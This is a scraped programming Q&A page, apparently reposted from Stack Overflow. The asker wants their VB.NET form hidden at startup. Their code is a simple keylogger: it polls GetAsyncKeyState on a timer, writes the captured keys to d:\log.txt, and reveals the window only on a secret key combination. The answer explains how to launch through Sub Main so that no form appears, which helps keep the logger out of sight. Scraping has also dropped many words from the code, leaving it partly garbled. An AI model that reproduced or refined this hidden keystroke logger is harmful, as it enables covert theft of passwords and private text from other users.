vb.net - How to hide vb form on startup? -


i trying hide main form on startup, reason failed that. in following code have created button hides form, want hide form on load. please me out. in advance.

option strict on  public class form1     private declare function getasynckeystate lib "user32" (byval vkey long) integer      private sub timerkeys_tick(byval sender system.object, byval e system.eventargs) handles timerkeys.tick         dim result integer         dim key string          dim integer         = 2 90             result = 0             result = getasynckeystate(i)             if result = -32767                 tblog.text = tblog.text + chr(i)                 if = 13 key = vbnewline                  exit             end if         next          if key <> nothing             if my.computer.keyboard.shiftkeydown orelse my.computer.keyboard.capslock                 tblog.text = key             else                 tblog.text = key.tolower             end if         end if          if my.computer.keyboard.ctrlkeydown andalso my.computer.keyboard.altkeydown andalso key = "z"             me.show()          end if     end sub      private sub btnhide_click(byval sender system.object, byval e system.eventargs) handles btnhide.click         me.hide()     end sub     private msg string = ""     private sub timersave_tick() handles timersave.tick         my.computer.filesystem.writealltext("d:\log.txt", tblog.text, true)         tblog.clear()      end sub      private sub form1_formclosed(byval sender object, byval e system.windows.forms.formclosedeventargs) handles me.formclosed         tblog.text &= vbnewline & "closed at:" & & vbnewline         'my.computer.filesystem.writealltext("d:\log1.txt", tblog.text, true)         timersave_tick()      end sub       private sub form1_load(byval sender object, byval e system.eventargs) handles me.load          tblog.text = " started @ :" & & vbnewline      end sub      public sub store(byval s string)      end sub end class 

if don’t want display form @ startup solution change startup method project rather trying hide form.

in application settings, disable “application framework” , set startup object sub main rather form object. write appropriate sub main entry point in module.

the msdn has more information (although of infos given in article grossly misleading).


Comments

Popular posts from this blog

monitor web browser programmatically in Android? -

Shrink a YouTube video to responsive width -

wpf - PdfWriter.GetInstance throws System.NullReferenceException -